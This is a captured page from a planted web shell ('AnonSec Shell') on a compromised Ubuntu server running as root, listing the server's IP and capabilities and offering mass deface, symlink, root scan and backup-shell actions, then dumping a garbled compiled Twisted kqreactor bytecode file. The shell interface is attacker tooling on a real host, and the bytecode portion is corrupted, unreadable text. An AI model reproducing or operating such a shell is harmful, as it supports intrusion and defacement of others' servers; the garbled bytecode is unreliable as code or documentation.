AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/internet/__pycache__/kqreactor.cpython-310.pyc
o

�bB*�
@sdZddlZddlZddlmZmZmZmZddlm	Z	m
Z
ddlmZm
Z
ddlmZmZzeed�Zeed�Zeed	�Zeed
�Zeed�ZWneyYZzee��dZ[wwGdd
�d
e�Ze�ee�ee
e�Gdd�de
j��Zdd�ZddgZdS)am
A kqueue()/kevent() based implementation of the Twisted main loop.

To use this reactor, start your application specifying the kqueue reactor::

   twistd --reactor kqueue ...

To install the event loop from code (and you should do this before any
connections, listeners or connectors are added)::

   from twisted.internet import kqreactor
   kqreactor.install()
�N)�	Attribute�	Interface�declarations�implementer)�main�	posixbase)�IReactorDaemonize�
IReactorFDSet)�failure�log�	KQ_EV_ADD�KQ_EV_DELETE�	KQ_EV_EOF�KQ_FILTER_READ�KQ_FILTER_WRITEc@s eZdZdZed�Zed�ZdS)�_IKQueuez2
    An interface for KQueue implementations.
    zAn implementation of kqueue(2).zAn implementation of kevent(2).N)�__name__�
__module__�__qualname__�__doc__r�kqueue�kevent�rr�</usr/lib/python3/dist-packages/twisted/internet/kqreactor.pyr*src@s�eZdZdZefdd�Zdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZeZdS)�
KQueueReactoram
    A reactor that uses kqueue(2)/kevent(2) and relies on Python 2.6 or higher
    which has built in support for kqueue in the select module.

    @ivar _kq: A C{kqueue} which will be used to check for I/O readiness.

    @ivar _impl: The implementation of L{_IKQueue} to use.

    @ivar _selectables: A dictionary mapping integer file descriptors to
        instances of L{FileDescriptor} which have been registered with the
        reactor.  All L{FileDescriptor}s which are currently receiving read or
        write readiness notifications will be present as values in this
        dictionary.

    @ivar _reads: A set containing integer file descriptors.  Values in this
        set will be registered with C{_kq} for read readiness notifications
        which will be dispatched to the corresponding L{FileDescriptor}
        instances in C{_selectables}.

    @ivar _writes: A set containing integer file descriptors.  Values in this
        set will be registered with C{_kq} for write readiness notifications
        which will be dispatched to the corresponding L{FileDescriptor}
        instances in C{_selectables}.
    cCs8||_|j��|_t�|_t�|_i|_tj�	|�dS)a�
        Initialize kqueue object, file descriptor tracking dictionaries, and
        the base class.

        See:
            - http://docs.python.org/library/select.html
            - www.freebsd.org/cgi/man.cgi?query=kqueue
            - people.freebsd.org/~jlemon/papers/kqueue.pdf

        @param _kqueueImpl: The implementation of L{_IKQueue} to use. A
            hook for testing.
        N)
�_implr�_kq�set�_reads�_writes�_selectablesr�PosixReactorBase�__init__)�self�_kqueueImplrrrr"Qs
zKQueueReactor.__init__cCs"|j�|j�|||�gdd�dS)z�
        Private method for changing kqueue registration on a given FD
        filtering for events given filter/op. This will never block and
        returns nothing.
        rN)r�controlrr)r#�fd�filter�oprrr�_updateRegistrationes"z!KQueueReactor._updateRegistrationcCs|j��d|_dS)zA
        Implement L{IReactorDaemonize.beforeDaemonize}.
        N)r�close�r#rrr�beforeDaemonizems

zKQueueReactor.beforeDaemonizecCsD|j��|_|jD]	}|�|tt�q	|jD]	}|�|tt�qdS)z@
        Implement L{IReactorDaemonize.afterDaemonize}.
        N)	rrrrr)rrrr)r#r&rrr�afterDaemonize}s

�zKQueueReactor.afterDaemonizec	C�|��}||jvrEz/z	|�|tt�Wn	tyYnwW||j|<|j�|�dSW||j|<|j�|�dS||j|<|j�|�wdS)z7
        Implement L{IReactorFDSet.addReader}.
        N)�filenorr)rr�OSErrorr �add)r#�readerr&rrr�	addReader�� 
��
�

��zKQueueReactor.addReaderc	Cr.)z7
        Implement L{IReactorFDSet.addWriter}.
        N)r/rr)rrr0r r1)r#�writerr&rrr�	addWriter�r4zKQueueReactor.addWritercC�d}z|��}Wntyd}Ynw|dkr,|j��D]\}}||ur)d}nqdS||jvrW|j�|�||jvr@|j|=|sYz
|�|tt	�WdSt
yVYdSwdSdS)z:
        Implement L{IReactorFDSet.removeReader}.
        F���TN)r/�
BaseExceptionr �itemsr�removerr)rr
r0)r#r2�wasLostr&�fdesrrr�removeReader��2��

��zKQueueReactor.removeReadercCr7)z:
        Implement L{IReactorFDSet.removeWriter}.
        Fr8TN)r/r9r r:rr;rr)rr
r0)r#r5r<r&r=rrr�removeWriter�r?zKQueueReactor.removeWritercs,���fdd��jD��fdd��jD��S)z7
        Implement L{IReactorFDSet.removeAll}.
        c�g|]}�j|�qSr�r ��.0r&r+rr�
<listcomp>��z+KQueueReactor.removeAll.<locals>.<listcomp>crArrBrCr+rrrE�rF)�
_removeAllrrr+rr+r�	removeAll�s�zKQueueReactor.removeAllc��fdd��jD�S)z8
        Implement L{IReactorFDSet.getReaders}.
        crArrBrCr+rrrE�rFz,KQueueReactor.getReaders.<locals>.<listcomp>)rr+rr+r�
getReaders��zKQueueReactor.getReaderscrI)z8
        Implement L{IReactorFDSet.getWriters}.
        crArrBrCr+rrrE�rFz,KQueueReactor.getWriters.<locals>.<listcomp>)rr+rr+r�
getWriters�rKzKQueueReactor.getWritersc
Cs�|durd}z
|j�gt|j�|�}Wnty-}z|jtjkr(WYd}~dS�d}~ww|j}|D]}|j}z|j|}Wn	t	yHYq3wt
�|||||�q3dS)z1
        Poll the kqueue for new events.
        N�)rr%�lenr r0�errno�EINTR�_doWriteOrRead�ident�KeyErrorr�callWithLogger)r#�timeout�events�e�_drdw�eventr&�
selectablerrr�doKEvent�s(��	��zKQueueReactor.doKEventc
Cs�d}d}|j|j|j|jf\}}}}	|t@r|r|	rtj}n6z"|��dkr+d}tj	}n|t
kr5d}|��}|tkr?d}|�
�}WntySt��}t�|d�Ynw|r_|�|||�dSdS)z�
        Private method called when a FD is ready for reading, writing or was
        lost. Do the work and raise errors where necessary.
        NFr8TzSAn exception was raised from application code while processing a reactor selectable)r'�flags�data�fflagsrr�CONNECTION_LOSTr/r�_NO_FILEDESCr�doReadr�doWriter9r
�Failurer�err�_disconnectSelectable)
r#rZr&rY�why�inReadr'r\r]r^rrrrQs<����
�zKQueueReactor._doWriteOrReadN)rrrr�selectr"r)r,r-r3r6r>r@rHrJrLr[rQ�doIterationrrrrr6s 	)rcCst�}ddlm}||�dS)z'
    Install the kqueue() reactor.
    r)�installReactorN)r�twisted.internet.mainrj)�prjrrr�install:srm) rrOrh�zope.interfacerrrr�twisted.internetrr�twisted.internet.interfacesrr	�twisted.pythonr
r�getattrrr
rrr�AttributeErrorrW�ImportErrorr�directlyProvidesr!rrm�__all__rrrr�<module>s2



��	

Anon7 - 2022
AnonSec Team